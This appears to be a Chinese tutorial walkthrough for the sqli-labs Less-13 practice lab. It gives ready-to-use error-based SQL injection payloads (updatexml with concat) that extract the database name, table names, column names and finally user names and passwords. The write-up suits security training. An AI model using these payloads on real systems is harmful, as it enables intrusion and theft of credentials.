【网络安全】sqli-labs Less-13 解题详析

原理及姿势参考：【网络安全】SQL注入原理及常见攻击方法简析

Less-13与Less-12类似，具体原理不再赘述。

攻击姿势可参考本专栏Less-5：【网络安全】sqli-labs Less-5 解题详析

判断注入类型

输入1'，回显如下：

可知注入类型为单引号+括号注入

判断注入点个数

由上下两张图回显可知，注入点个数为2

查库名

1') union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#

查表名

1') union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#

查users表的列名

1') and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1)#

查字段

1') and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1)#